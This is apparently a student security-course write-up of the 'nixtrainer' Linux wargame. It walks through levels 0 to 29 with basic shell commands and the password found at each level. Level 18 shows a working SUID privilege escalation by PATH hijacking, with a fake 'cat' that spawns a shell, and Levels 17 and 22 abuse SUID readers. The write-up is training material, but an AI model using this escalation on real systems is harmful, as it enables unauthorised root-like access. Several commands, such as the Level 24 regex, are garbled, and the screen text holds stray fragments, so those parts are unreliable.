

Introduction to Docker



Submitted to : Arya Pokharel

Submitted By : Avash kumar Mahato

ST6005CEM Security

Starting the docker

Command: sudo docker run -p 2222:22 --name nixtrainer --rm cueh/nixtrainer

The screenshot shows a terminal window titled "avash@kali: ~". The session starts with a failed attempt to switch users to "level1". It then shows an SSH connection attempt to "172.17.0.2" failing due to no route. Finally, it runs the command to start the Docker container "nixtrainer". A password prompt for "avash" is shown, followed by a large block of text providing instructions for interacting with the container via SSH, including the username "level0" and password "level0", and the IP address "172.17.0.2/16".

```
Session Actions Edit View Help
└$ su - level1
su: user level1 does not exist or the user entry does not contain all the required fields

(avash㉿kali)-[~]
└$ ssh level0@172.17.0.2
ssh: connect to host 172.17.0.2 port 22: No route to host

(avash㉿kali)-[~]
└$ sudo docker run -p 2222:22 --name nixtrainer --rm cueh/nixtrainer
[sudo] password for avash:

CUEH: Linux Trainer

To get started SSH into the trainer with:

Username: level0
Password: level0

IP address For SSH is 172.17.0.2/16

To exit the trainer you will need to run
docker stop nixtrainer
```

Level 0

Username : level0

Password: level0

Command: ssh level0@172.17.0.2

This command initiates an SSH connection to a server with the username level0 at the IP address 172.17.0.2.

I used the keyboard shortcut `<ESC> :q!` in Vim to exit the text editor without saving, and that's how I retrieved the password.

```
Have fun.  
#####  
Last login: Tue Apr 22 22:05:25 2025 from 172.17.0.1  
Congratulations, You Escaped!!  
Password for Level 1 is c341b271f5dba18dd4099435670a2c74  
To exit the trap  
docker stop nix  
You will need to logout, and reconnect to continue  
level0@398d874491f5:~$
```

Level 1

Password: c341b271f5dba18dd4099435670a2c74

Command: su - levell

This command changes the current user to level1 and asks for that user's password. After entering the correct password, you'll be logged in as level1.

```
level0@398d874491f5:~$ su - level1
Password:

Instructions for level1:

You will need to read the manpage for the level
man level1
level1@398d874491f5:~$ █
```

Command: man level1

If a manual page exists for the level1 command, this command will display it. Man pages provide detailed descriptions of a command's purpose, options, and usage. From this page, we might find clues or instructions needed to obtain the level password.

```
Password for Level 2
The password for level2 is 5c2c8ec6462a8ffb80d30bf8e5d56a29

You will need to log out (exit) and log back in as the level2 user.
```

Level 2

Password: 5c2c8ec6462a8ffb80d30bf8e5d56a29

Command: man level2

Here We got password by scrolling down the man page.

```
Hints:
Man pages also have Help try $man man There is also a help section. (h)
    Password for level0
We can navigate through man pages using the following commands. (Not an Exhaustive Example, look at the Manpage for Man)
IP address For SSH is 172.17.0.3:36
    • Arrows Move one line in (direction)
        To • PgUp *Move one page Backwards** run
            docker exec mixtrainer
                • PgDown Move one page Forwards
    • ? *Search Backwards**
    • / *Search Forward**
```

```
Password for Level3
doc2166a44ff9d66344b371656ad62ed570
```

Level 3

Password: 2166a44ff9d66344b371656ad62ed570

```
Name sudo docker run -p 22:22 --name nixtrainer --rm cuelh/nixtrainer
sudo: uLevel3 - Searching Within Manpages
[sudo] password for brinda:
Description
Like the previous level, this Man Page also large. This time the password we are after.

Search for "password" to get the password for level4
```

Command: man level3

This command searches the manual page for 'level3'.

```
Phasellus at semper lectus. Proin a neque eu quam ornare faucibus. Aliquam ornare sem et quam cursus, id scelerisque enim luctus. password for level4 is c0c421b993859d9697e058a9ebc3a01c Aliquam dapibus urna at mi pellentesque, quis pulvinar neque consectetur. Suspendisse pellentesque quam vel felis volutpat rhoncus. Vestibulum eu ultricies elit. Sed bibendum, mauris hendrerit porta tincidunt, nulla mauris facilisis purus, eu vulputate justo elit sit amet erat. Sed sodales pretium aliquam. Suspendisse eget ligula auctor, iaculis leo in, varius quam.

Nunc vitae urna sit amet elit sagittis pharetra. Fusce dignissim in ex at suscipit. Proin a lobortis risus. Pellentesque accumsan, dui id consequat bibendum, purus neque posuere tellus, mattis porttitor purus massa vel eros. Maecenas in fringilla elit. Vivamus a diam non elit lobortis lobortis. Nullam interdum quam vitae enim mattis, sit amet malesuada mauris sagittis. Aenean purus ipsum, pulvinar vitae pellentesque non, volutpat quis turpis. Nulla facilisi. Nullam ut faucibus velit. Quisque scelerisque urna libero, nec ornare risus dictum suscipit.
```

Level 4

Password: c0c421b993859d9697e058a9ebc3a01c

```
Level4()
IP Address For SSH is 172.17.0.3/16

Name
Level 4 - Finding the Manpage (or the command you need)
To execute the task, run
docker stop nixtrainer
Description
There are times that we can forget the command that we need to complete a task. For example, we know we need to use a grep expression, but cant remember the grep command.

Fortunately there are command(s) that can search within man pages for a given string.

This time the password for level5 is hidden in a man page containing the text "Adderbury"
```

Command: man -k "Adderbury"

This command searches the manual page database for entries containing the term "Adderbury." Using the -k option performs a keyword-based search, also known as an "apropos" search, to identify commands or topics related to the specified keyword.

```
level4@398d874491f5:~$ man level4
level4@398d874491f5:~$ man -k "Adderbury"
L5pw (6)           - Manpage that holds a password for a hidden level. Adderbury
level4@398d874491f5:~$
```

We found that man page of L5pw contains the word ‘Adderbury’ and the password.

```
HiddenPw()

Name
    L5pw- Manpage that holds a password for a hidden level. Adderbury

Description
    Password for Level5 is cab0801f1e662b9f382ecf78cdd1609b
```

Level 5

Password: cab0801f1e662b9f382ecf78cdd1609b

```
Level5() Press for SSH is 172.17.0.2/10

Name To exit the trainer you will need to run
      dock Level 5 - Looking at the Contents of Files

Description
      So far we have been dealing with the built in help files.

      This next set of tasks focuses on reading files that exist on the system.

      The Password for Level6 is in the Password file in the home directory
```

Command: ls

This command lists the files and directories in the current working directory.

After listing the files of home directory, we got a file name Password.

Command: cat Password

This command displays the contents of the file named ‘Password’ in the terminal.

```
level5@398d874491f5:~$ ls  
Password  
level5@398d874491f5:~$ cat Password  
e3f20995ffa525dd9f85966813bf1ef7
```

```
level5@398d874491f5:~$ █
```

Level 6

Password: e3f20995ffa525dd9f85966813bf1ef7

Level6()

Name: Level6 - Dealing with Silly File Names

Description: This level focuses on escaping the magic characters in the filename.

To solve this level you will need to:

IP address: Level6

Far too Often you will have to deal with some GUI based Ijit, who don't think that putting spaces, \ in filenames is a BadThing(TM).

The Password for Level7 is in the **Spaces Have No Place in Filenames.txt** file in the home directory

Command: cat Spaces\ Have\ No\ Place\ In\ Filenames.txt

This command displays the contents of the file named Spaces Have No Place in Filenames.txt. The spaces in the filename are escaped with backslashes (\) to ensure the command interprets it correctly.

```
level6@398d874491f5:~$ man level6  
level6@398d874491f5:~$ ls  
Spaces Have No Place In Filenames.txt  
level6@398d874491f5:~$ cat Spaces\ Have\ No\ Place\ In\ Filenames.txt  
a5c2b44a9f8c21d2e1bc8ef449ff49ad  
level6@398d874491f5:~$ █
```

Level 7

Password: a5c2b44a9f8c21d2e1bc8ef449ff49ad

```
Level7()          CUEH: Linux Trainer  
To get started SSH into the trainer with:  
Name          Level7 - Dealing with Even More Silly File Names  
                Password: level0  
Description      This level focuses on escaping more magic characters in the filename. Here we  
To solve this challenge, you will need to use the cat command to read the contents of the file -Another Silly -Name.txt.  
The Password for Level 9 is in the -Another Silly -Name.txt
```

Command: cat ./-Another\ Silly\ -Name.txt

This command uses a relative path to display the contents of the file -Another Silly -Name.txt located in the current directory (./). The backslashes (\) are used to escape the spaces in the filename, ensuring the command interprets the full filename correctly.

```
level7@398d874491f5:~$ man level7  
level7@398d874491f5:~$ ls  
-Another Silly -Name.txt  
level7@398d874491f5:~$ cat ./-Another\ Silly\ -Name.txt  
78b6c29509af1e86b1abecf9f0ef126c  
  
level7@398d874491f5:~$ █
```

Level 8

Password: 78b6c29509af1e86b1abecf9f0ef126c

Level8() Username: level0
 Password: level0

Name
IP address: 172.17.0.2/16
Level 8 - Dealing with Large files on the command Line

Description
The password for level 9 is in the LargeFile.txt document.
option.

WE can either:

- Display only the top part of the file
- Use a command that lets us “page” through the file.

Command: less LargeFile.txt

This command opens the file Large File.txt with the less viewer, allowing you to scroll through its contents page by page. It's useful for reviewing large files without loading the entire file into memory at once.

```
level8@398d874491f5:~$ man level8
level8@398d874491f5:~$ ls
LargeFile.txt
level8@398d874491f5:~$ less LargeFile.txt
level8@398d874491f5:~$
```

Password is: fa0d9a03c23ceeedc7ced507d5c37d9f

Level 9

Password: fa0d9a03c23ceeedc7ced507d5c37d9f

Task
The password for the next level is the home directory for this user, with the /home part removed.
IE if /home/dang the password will be dang

Command: pwd

This command displays the current working directory's absolute path in the terminal. Home directory of the current user level9 is the password of the level.

```
level9@398d874491f5:~$ man level9
level9@398d874491f5:~$ pwd
/home/f3a643dd575af9baeb1ba1d032959358
level9@398d874491f5:~$
```

Level 10

Password: f3a643dd575af9baeb1ba1d032959358

```
Level10()
Name      Level10 - Changing Directory
Description All the organisation in the world wont help us if we are stuck in the home directory.
In this challenge the password is in the file Level11.pass in the passwords sub directory of the home folder
```

Command: cd passwords/

This command navigates into the passwords subdirectory of the current working directory. Inside, there is a file named Level11.pass, and by using the cat command, we can retrieve the password from it.

```
level10@398d874491f5:~$ man level10
level10@398d874491f5:~$ ls
passwords
level10@398d874491f5:~$ cd passwords/
level10@398d874491f5:~/passwords$ ls
Level11.pass
level10@398d874491f5:~/passwords$ cat Level11.pass
a6e10027186a4a360c3ca27e58d75968
```

Level 11

Password: a6e10027186a4a360c3ca27e58d75968

```
Task
The password for the next level is split over 3 files, which need to be combined in the following order
    Password: Level11
    IP address: 172.17.0.2
    Docker port: 22
    To exit type Ctrl+C
    docker ps
```

In this level, Password was divided into 3 pieces which was stored in 3 different files and was located in 3 different locations.

```
level11@398d874491f5:~$ man level11
level11@398d874491f5:~$ cd /
level11@398d874491f5:~$ ls
bin boot dev etc file11_1.txt home lib lib64 media mnt opt out proc root run sbin srv sys tmp usr var
level11@398d874491f5:~$ cat /file11_1.txt
e3cb9dac40
level11@398d874491f5:~$ cd
level11@398d874491f5:~$ ls
file11_2.txt
level11@398d874491f5:~$ cat file11_2.txt
a829e5d019
level11@398d874491f5:~$ cd /
level11@398d874491f5:~$ ls
bin boot dev etc file11_1.txt home lib lib64 media mnt opt out proc root run sbin srv sys tmp usr var
level11@398d874491f5:~$ cd opt/
level11@398d874491f5:/opt$ ls
Data level11Stuff reader.c
level11@398d874491f5:/opt$ cd level11Stuff/
level11@398d874491f5:/opt/level11Stuff$ ls
Foo
level11@398d874491f5:/opt/level11Stuff$ cd Foo/
level11@398d874491f5:/opt/level11Stuff/Foo$ ls
file11_3.txt
level11@398d874491f5:/opt/level11Stuff/Foo$ cat file11_3.txt
4b8fad5ea0b
```

Level 12

Password: e3cb9dac40a829e5d0194b8fad5ea0b

Task

The password for the next level can be found with:

- The 2nd previous command (Ie 2 commands have been run. EXCLUDING the man command for this level)
 - This is command **9** in the history file
 - The command was **cat** (something)....

Command: history

Shows a list of commands that were previously run in the terminal, letting you review your command history. In this level, the password can be obtained from the 9th command listed in the history.

```
level12@398d874491f5:~$ man level12
level12@398d874491f5:~$ history
1 cd ~Resources
2 ps -a
3 ls -la
4 less /etc/passwd
5 history
6 nano /tmp/foo.txt
7 ls
8 cd /var/local
9 cat /var/local/L12Pw.txt
10 cd ~
11 ls -a
12 clear
13 man level12
14 history
level12@398d874491f5:~$ cat /var/local/L12Pw.txt
0fc1d6918da0bacc7d8b3dcbf25853ad
```

Level 13

Password: 0fc1d6918da0bacc7d8b3dcbf25853ad

```
Level13()      Password: level0
Name IP address For SSH is 172.17.0.2/16
          Level 13 - Reverse History Search
Description To solve the trainer you will need to run
          echo | grep nixtrainer
          Here we need to use the search function of history. For an echo command
```

Command: history | grep "echo"

This command filters the command history to show only the entries that contain the word "echo."

```
level12@398d874491f5:~$ su - level13
Password:
level13@398d874491f5:~$ man level13
level13@398d874491f5:~$ history | grep echo
 121 echo "Password is bf07d664ee94c602474868869e31e5a4"
 362 history | grep echo
level13@398d874491f5:~$
```

Level 14

Password: bf07d664ee94c602474868869e31e5a4

Level14()
IP address For SSH is 172.17.0.2/16

Name
Level 14 - Listing Files
To exit the trainer you'll need to run
docker stop nixtrainer

Description
This challenge drops the difficulty a little bit, but introduces you to and
Reconnaissance and systems is one of the more important tasks you will ne
able, and the permissions they have may help you find files of interest.
To list the contents of a directory we can use the **ls** command
The password for the next level can be found in a file in this directory.

```
level14@398d874491f5:~$ man level14
level14@398d874491f5:~$ ls
cruft.dat  cruft.txt  passwordfile.txt
level14@398d874491f5:~$ cat passwordfile.txt
Password for the next level is 697508bad63a602679c9425778ac0faf
level14@398d874491f5:~$
```

Level 15

Password: 697508bad63a602679c9425778ac0faf

Task
The password for the next level is in a hidden file in the home directory

Command: ls -al

This command displays all files and directories in the current directory, including hidden ones (those beginning with a dot), and provides detailed information like permissions, link count, owner, group, size, and last modification date for each item.

```
level15@398d874491f5:~$ man level15
level15@398d874491f5:~$ ls -al
total 16
drwxr-xr-x 1 level15 level15 4096 Apr 23 2019 .
drwxr-xr-x 1 root      root    4096 Apr 23 2019 ..
-rw-r--r-- 1 level15 level15   64 Apr 23 2019 .hiddenpassword.txt
-rw-r--r-- 1 level15 level15    0 Apr 23 2019 cruft.dat
-rw-r--r-- 1 level15 level15    0 Apr 23 2019 cruft.txt
level15@398d874491f5:~$ cat .hiddenpassword.txt
Password for the next level is 468c7152da29221bcac4a40df02ef387
level15@398d874491f5:~$
```

Level 16

Password: 468c7152da29221bcac4a40df02ef387

Task

The password for the next level is:

To exit the trainer you will need to run
docker stop mytrainer

- A configuration file (IE has the **conf** extension)
- **Owned** by the Levels User
- **Readable** by the Owner and Group
- **Writable** by the Owner
- **Executable** by all users

Command: ls -l

This command displays the files and directories in the current directory in a detailed long format, showing information such as permissions, link count, owner, group, size, and modification date. The password is stored in a file with a .conf extension, owned by the user level16, with permissions set to readable by the owner and group, writable by the owner, and executable by all users (-rwxr-x--x).

```
level16@398d874491f5:~$ man level16
level16@398d874491f5:~$ ls -l
total 112
---x--x--x 1 level6  level6      59 Apr 23  2019 file1.conf
---x--x--x 1 level6  level6  16544 Apr 23  2019 file1.out
---x--x--x 1 level6  level6     240 Apr 23  2019 file1.txt
---x--x--x 1 level6  level16     59 Apr 23  2019 file2.conf
---x--x--x 1 level6  level16  16544 Apr 23  2019 file2.out
---x--x--x 1 level6  level16     240 Apr 23  2019 file2.txt
-rwxr-x--x 1 level16 level16     61 Apr 23  2019 file3.conf
-rwxr-x--x 1 level16 level16  16544 Apr 23  2019 file3.out
-rwxr-x--x 1 level16 level16     240 Apr 23  2019 file3.txt
---x--x--x 1 level16 level16     59 Apr 23  2019 file4.conf
---x--x--x 1 level16 level16  16544 Apr 23  2019 file4.out
---x--x--x 1 level16 level16     240 Apr 23  2019 file4.txt
level16@398d874491f5:~$ cat file3.conf
Password for next level is 4112b747ff854154ff38e271ee6ecdc
```

```
level16@398d874491f5:~$
```

Level 17

Password: 4112b747ff854154ff38e271ee6ecdc

Task

The password for the next level is in the Pass.txt file. Unfortunately, the current user doesn't have the relevant permissions to access the file.

However, one of the executable in the folder will show the output of the file, and give you the password.

NOTE:

The wargamers amongst you hold your horses. The Command used in the code is so should be safe.

..

```
#include <stdio.h>
#include <stdlib.h>

void main(void){
    printf("Attempting to access file:\n");
    system("/bin/cat /home/Level17/Pass.txt");
}
```

This C program tries to read and display the contents of `/home/Level17/Pass.txt` by invoking the `cat` command via the `system` function after printing a message. The SUID (Set User ID) is a Linux permission that lets users run an executable with the file owner's privileges. The file `runme4`, owned by `elev17`, has SUID set (`---s--x--x`), which allows it to run with the owner's rights while giving execute permission to the group and others.

Command: ./run me

This command executes the file or script named 'runme' located in the current directory ('./').

```
level17@398d874491f5:~$ man level17
level17@398d874491f5:~$ ls -l
total 108 Resources
-r----- 1 elev17 elev17    64 Apr 23  2019 Pass.txt
---s--x--x 1 level17 level17 16624 Apr 23  2019 runme1
---x--x--x 1 elev17 elev17 16624 Apr 23  2019 runme2
---s--x--x 1 level17 elev17 16624 Apr 23  2019 runme3
---s--x--x 1 elev17 level17 16624 Apr 23  2019 runme4
---x--x--x 1 level16 level16 16624 Apr 23  2019 runme5
-rwxr--r-- 1 level17 level17   146 Apr 23  2019 source.c
level17@398d874491f5:~$ ./runme4
Attempting to access file:
Password for the next level is 0ad360e45e0ab518ed1c01dc5bfdde20
level17@398d874491f5:~$
```

Level 18

Password: 0ad360e45e0ab518ed1c01dc5bfdde20

Task
You need to exploit the Binary and get access to Pass.txt

Like any good wargame, you will need to research how to do this. But as this is for training, here are a few clues to point you in the right direction.

Clue 1) Exploit Reconnaissance: What we Know.
• The file calls the command `cat` to access a file
• The file we are accessing is hard coded
• The location of the `cat` command is not hard coded

Clue 2)
We don't have a program called `cat` in the current directory. How does the shell know where to find the `cat` command?

Clue 3)
What would happen if we could persuade the system to run our own version of `cat`?

NOTES:
SUID permissions are a common exploit found in wargames, its always worthwhile checking for SUID files, and look for unexpected things.

```
Source code this time is:
#include <stdio.h>
#include <stdlib.h>

void main(void){
    printf("Attempting to access file:\n");
    system("cat /home/Level18/File.txt");
}
```

This C program attempts to display the contents of the file '/home/Level18/File.txt' by printing a message and executing the 'cat' command through the 'system' function.

```
level18@398d874491f5:~$ man level18
level18@398d874491f5:~$ ls -l
total 32
-r----- 1 elev18 elev18    36 Apr 23 2019 File.txt
-r----- 1 elev18 elev18    64 Apr 23 2019 Pass.txt
---s--x--x 1 elev18 level18 16624 Apr 23 2019 runme
-rwxr--r-- 1 level18 level18   141 Apr 23 2019 source.c
```

Everything is a file in Linux. So the Linux commands are also files. For example, cat is a binary file that is located in the /bin directory. We can check where the command that we typed is located with which command. For example usage: “which cat”

```
level18@398d874491f5:~$ which cat
/bin/cat
```

The PATH variable is an environment variable that tells the system where to look for executable commands. For instance, when you run the cat command, the OS checks the PATH variable to determine the location of the cat executable. You can display all environment variables using the env command, or view just the PATH variable with echo \$PATH.

```
level18@398d874491f5:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
```

This indicates that the runme executable relies on the cat command. By modifying the PATH variable and creating a custom cat command, we can escalate privileges to become the elev18 user. We should move to the /tmp directory because it is writable by all users, allowing us to place our new cat command there.

```
level18@398d874491f5:~$ cd /tmp
level18@398d874491f5:/tmp$ echo "/bin/sh" > cat
level18@398d874491f5:/tmp$ chmod 777 cat
level18@398d874491f5:/tmp$ ls -l
total 4
-rwxrwxrwx 1 level18 level18 8 Apr 22 23:10 cat
```

Although our new cat file is prepared, the OS is still using the default /bin/cat binary. To make the system use our custom /tmp/cat executable, we need to modify the PATH variable. This can be done using the export command.

```
level18@398d874491f5:/tmp$ export PATH=/tmp:$PATH  
level18@398d874491f5:/tmp$ echo $PATH  
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games  
Level18@398d874491f5:/tmp$ which cat  
/tmp/cat
```

When we run the `runme` binary now, it will try to execute the `cat` command with `elev18` user privileges. The OS will consult the `PATH` variable to find the `cat` command and, due to our modification, it will use the one in `/tmp`. Since our custom `cat` contains a `sh` shell command, this shell will run with `elev18` privileges, granting us access as the `elev18` user.

```
level18@398d874491f5:~$ ./runme  
Attempting to access file:  
$ ls  
File.txt Pass.txt runme source.c  
$ less Pass.txt  
$
```

```
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1  
Pass.txt (END)
```

Level 19

Password:84d284bda556887dfe827bb9ddba6cc1

Task
Somewhere in the users home directory is a file called `good.txt` that contains the password for the next level.

Command: `find . -name good.txt 2>/dev/null`

This command looks for a file named `good.txt` in the current directory (`./`) and all its sub directories, while sending any error messages, like "Permission denied," to `/dev/null` to hide them.

```
level19@398d874491f5:~$ man level19
level19@398d874491f5:~$ find ./ -name good.txt 2>/dev/null
./Dir12/Sub8/good.txt
level19@398d874491f5:~$ cd Dir12/Sub8
level19@398d874491f5:~/Dir12/Sub8$ ls
bad.txt  good.txt  prog  prog.c
level19@398d874491f5:~/Dir12/Sub8$ cat good.txt
Password for Level 20 is 7c872534e89c245af242ee706c1980b6
level19@398d874491f5:~/Dir12/Sub8$
```

Level 20

Password: 7c872534e89c245af242ee706c1980b6

Task Password: level0
The File with the password for level21 matches the following criteria:
IP address For SSH is 172.17.0.2/16
• Owned by Level 20
To exit the trainer you will need to run docker stop mixtrainer
• In the Root Group
• Read and Executable Permissions for Owner and Group (IE 550)
• File-size of 16568 bytes

Command: find / -user level20 -group root -perm 550 -size 16568c 2>/dev/null

This command scans the entire file system for files owned by level20, belonging to the root group, with 550 permissions, and a size of exactly 16,568 bytes, while redirecting any error messages to /dev/null.

```
level20@63b135bb9857:~$ man level20
level20@63b135bb9857:~$ find / -user level20 -group root -perm 550 -size 16568c 2>/dev/null
/home/level20/Dir14/Subdir4/file.dat
level20@63b135bb9857:~$ cd Dir14/Subdir4/
level20@63b135bb9857:~/Dir14/Subdir4$ ls -l
total 44
-rwxr-x-- 1 level20 root 16568 Apr 23 2019 file.dat
-rwxr-xr-- 1 level20 root 15492 Apr 23 2019 file.out
-rwxr-xr-- 1 level20 root 11 Apr 23 2019 file.txt
-rwxr-xr-- 1 level20 root 228 Apr 23 2019 prog.c
level20@63b135bb9857:~/Dir14/Subdir4$ ./file.dat
This is the Correct File
Password for Level21 is 04f534086cbedba7d729c796b686fcf2
level20@63b135bb9857:~/Dir14/Subdir4$
```

Level 21

Password:04f534086cbedba7d729c796b686fcf2

Task

```
So far we have been specifying the home directory (or ~) as the path. This time the program is hidden somewhere in the file system  
To get started SSH into the trainer with:  
    • Owner: Level20  
    • Group: Level20  
    • Permissions:  
        • Owner: Read, Execute  
        • Group: Read  
        • World: Read, Execute
```

Command: find / user level20 -group level21 2>/dev/null

This command scans the whole file system for files owned by level20 and associated with the group level21, while sending any error messages to /dev/null to suppress them.

```
level21@63b135bb9857:~$ man level21  
level21@63b135bb9857:~$ find / -user level20 -group level21 2>/dev/null  
/usr/share/man/man6/le21.txt  
level21@63b135bb9857:~$ cd /usr/share/man/man6  
level21@63b135bb9857:/usr/share/man/man6$ cat le21.txt  
Password for Level 22 is 1cf1aecffae74b0ca176a741c9ef091
```

Level 22

Password:1cf1aecffae74b0ca176a741c9ef091

Task

```
The password for the next level is in the Level23.pw file.  
However, you don't directly have permission to access it. Perhaps you can find something that will help.
```

Hint:

- Think back to **Level 17**
- Look at the permissions for the file you cannot access. Perhaps this is the user or group of the program we are looking for
- Generally the source code for compiled program has a specific suffix. IE the source for the C++ program **whatever** will be **whatever.cpp**

Command: find / -user elev22 -group elev22 2>/dev/null

This command searches the entire file system (/) for files owned by the user elev22 and the group elev22, while redirecting any error messages to /dev/null to suppress them.

```

level22@63b135bb9857:~$ man level22
level22@63b135bb9857:~$ find / -user elev22 -group elev22 2>/dev/null
/bin/reader
/home/level22/Level23.pw
level22@63b135bb9857:~$ cd /bin/
level22@63b135bb9857:/bin$ ls -l reader
-rwsr-xr-x 1 elev22 elev22 16784 Apr 23 2019 reader
level22@63b135bb9857:/bin$ ./reader
Wrong Number of arguments given

```

Reader is the suid file and can be executed by all users.

```

level22@63b135bb9857:/bin$ find / -name reader.* 2>/dev/null
/opt/reader.c
level22@63b135bb9857:/bin$ cd /opt

```

This C program displays the contents of a file specified by the user via a command-line argument. It first checks that exactly one argument (the filename) is provided; if not, it shows an error and exits. The program then tries to open the file for reading, printing an error and exiting if it fails. Once opened successfully, it reads the file line by line using fgets and prints each line to the standard output until the end of the file is reached, after which the program terminates.

```

level22@63b135bb9857:/bin$ cd /opt
level22@63b135bb9857:/opt$ cat reader.c
/*
Reader.c
    CUEH: Linux Trainer
    Take a file specified on the command line and Display it's
    contents
    et started SSH into the trainer with:
*/
#include <stdio.h>
int main(int argc, char* argv[]){
    FILE *fd = fopen(argv[1], "r");
    char thedata[1024]; //More than Enough

    if (argc != 2){
        printf("Wrong Number of arguments given\n");
        return -1;
    }

    //Sanity Check
    if (!fd){
        printf("Error opening File \n");
        return -1;
    }

    //Read
    while(fgets(thedata, 1024, fd)){
        printf("%s", thedata);
    }

    return 0;
}

```

./reader reads the content of the file /home/level22/Level23.pw

```
level22@63b135bb9857:/opt$ cd /bin  
level22@63b135bb9857:/bin$ ./reader /home/level22/Level23.pw  
Password for level 23 is 2bd1dadd7c844b746187d94b65d5f93c
```

Level 23

Password:2bd1dadd7c844b746187d94b65d5f93c

Name
Level23 - Finding things inside files

Task
This time the password for the next level is hidden in data.txt
Search inside the file for the string **PW24**: The password is the 32 character code between the : symbols

Command: cat data.txt | grep PW24

This command displays the contents of `data.txt` and pipes the output to `grep` to search for lines containing the string `PW24`, displaying only those matching lines.

```
level23@63b135bb9857:~$ man level23  
level23@63b135bb9857:~$ ls  
data.txt  
level23@63b135bb9857:~$ cat data.txt | grep PW24  
#`PW24:3dcae8f4fb8c2b8adfeabb8e6b61b668;n82bNf c?8"|[+{:0[!@Y  
level23@63b135bb9857:~$
```

Level 24

Password:3dcae8f4fb8c2b8adfeabb8e6b61b668

Task
Again the password is in data.txt this time it has the following format
To get started SSH into the trainer with:
• 5 Lower case letters
• 5 Upper case Letters
• 2 Numbers
• 2 symbols (or punctuation characters).
• 2 numbers.
IE aaaaa11AAAA\$\$11 would be a valid password.

Command: grep -Eo '[a-z][5]{0-9}{2}[A-Z]{5}[^a-zA-Z0-9]{2}{0-9}{2}' data.txt

This command searches data.txt for patterns matching:

- A lowercase letter ([a-z])
- The digit 5 ([5])
- Two digits ([0-9]{2})
- Five uppercase letters ([A-Z]{5})
- Two non-alphanumeric characters ([^a-zA-Z0-9]{2})
- Two more digits ([0-9]{2})

It prints only the matching parts of the text.

```
level24@63b135bb9857:~$ man level24
level24@63b135bb9857:~$ ls
data.txt
level24@63b135bb9857:~$ grep -Eo '[a-z][5]{0-9}{2}[A-Z]{5}[^a-zA-Z0-9]{2}{0-9}{2}' data.txt
abcde12FGHIJ#*12
level24@63b135bb9857:~$
```

Level 25

Password: abcde12FGHIJ#*12

Task

This time there are several files that the flag could be in.

Flag/ Password format is Flag:[string of 32 ascii chars]

Password for level 25 is the bit between the : symbols.

Command: grep "Flag:" *.txt

This command searches for the string "Flag:" in all '.txt' files in the current directory and displays the matching lines along with the filenames.

```
level25@63b135bb9857:~$ man level25
level25@63b135bb9857:~$ ls
data.txt data1.txt data2.txt data3.txt data4.txt data5.txt data6.txt data7.txt data8.txt data9.txt
level25@63b135bb9857:~$ grep "Flag:" *.txt
X#uAS='2t:5-ebk8:)6X+2H(+-CL?V0Flag:080f9385c271c9265f30fafaa13d29fb:5}{Yb      _ZeoDF
level25@63b135bb9857:~$
```

Level 26

Password:080f9385c271c9265f30fafaa13d29fb

Task

To do this time the flag is hidden in a file somewhere on the file system.
Find lets us execute commands on the files it matches. Perhaps combining this with grep would be a good idea.
Password: level26
Filename is **Lv26.dat**
IP address of container: 172.17.0.2/16
Flag / Password format:
To exit the trainer you will need to run
docker stop nixtrainer
· "32 Alpha numeric Characters"
· ":"
Find the file somewhere on the system with this.

HINT

The exec command in find can be a little tricky to use. Make sure you use the form exec ... {};

Command: find / -name "Lv26.dat" -exec -E "Flag:[A-Za-z0-9]{32}:" "{} \; 2>/dev/null

This command searches the entire files ystem for a file named 'Lv26.dat' and executes 'grep' to find lines matching the pattern 'Flag:[A-Za-z0-9]{32}:' within that file, suppressing any error messages.

```
level26@63b135bb9857:~$ man level26
level26@63b135bb9857:~$ find / -name "Lv26.dat" -exec grep -E "Flag:[A-Za-z0-9]{32}:" "{} \; 2>/dev/null
e'yg!6qcY2NA>_z/|TVYFlag:192740a5ed3fccf3211e71f4418d161d2zgl| OoQ5$5A],-GBf ;q
level26@63b135bb9857:~$
```

Level 27

Password:192740a5ed3fccf3211e71f4418d161d

Task

Both files are the same except the password the the next level. Use the Diff tool to get the Password.
NOTE: it is the full line in the changed file

Command: diff file1.txt file2.txt

This command compares the contents of 'file1.txt' and 'file2.txt', displaying the differences between the two files line by line.

```
level27@63b135bb9857:~$ man level27
level27@63b135bb9857:~$ ls
file1.txt  file2.txt
level27@63b135bb9857:~$ diff file1.txt file2.txt
879c879
< ouQWQsCruMyXgBTEkAqHAqdahNRlwvwzEhNAbqtrIOodqtkRtbBAxlSeBJCoAOWWZzoqkaetqpahyHK
> 79398486ca132216fce4b86d8eeb9185
```

Level 28

Password:79398486ca132216fce4b86d8eeb9185

Task
Diff can also be used to check across multiple files to see if any are different. The password for the next level is the filename (excluding the .txt extension) of the only file that differs in this directory.

HINT
(Check the `-from-file` options to diff)

Command: diff

The diff command compares two files line by line and displays the differences.

```
level28@63b135bb9857:~$ man level28
level28@63b135bb9857:~$ ls
0ad360e45e0ab518ed1c01dc5bfdde20.txt 468c7152da29221bcac4a40df02ef387.txt a6e10027186a4a360c3ca27e58d75968.txt
0fc1d6918da0bacc7d8b3dcfb25853ad.txt 4a3a11a46d26a7814d89e6efe0c0fd2a.txt bf07d664ee94c602474868869e31e5a4.txt
4112b747ff854154ff38e271ee6ecdc.b.txt 697508bad63a602679c9425778ac0faf.txt e3cb9dac40a829e5d0194b8fad5ea0b.txt
level28@63b135bb9857:~$ diff 0ad360e45e0ab518ed1c01dc5bfdde20.txt 4a3a11a46d26a7814d89e6efe0c0fd2a.txt
172c172
< TZAI BcxgahdetJpZMeyEqdCWoWYzQqWXYYAeXUAYRtEEdRmNtvKXrIufiUxphnImrygoHwlumkBzn
--> TZAI BcxgahdetJpZMeyEqdCWoWYzQqWXYYAeXUAYRtEEdRmNtvKXrIufiUxphnImrygoHwlumkBzn
level28@63b135bb9857:~$ level10
```

Level 29

Password:4a3a11a46d26a7814d89e6efe0c0fd2a

Task
The home directory has a program to check passwords, against input from STDIN
There is also a password list.
Use IO redirection to supply the password list as input to the program

Command: ./checker < pwlist.txt

This command runs the executable `checker` and redirects the contents of `pwlist.txt` as input to it.

```
level29@63b135bb9857:~$ man level29
level29@63b135bb9857:~$ ls -l
total 44
-rwxr-xr-x 1 level29 level29 16832 Apr 23 2019 checker
-rw-rxr-x 1 level29 level29 22000 Apr 23 2019 pwlist.txt
level29@63b135bb9857:~$ ./checker < pwlist.txt
Password Check:
Enter data -1 to exit>
Password found MNdytAUKxy
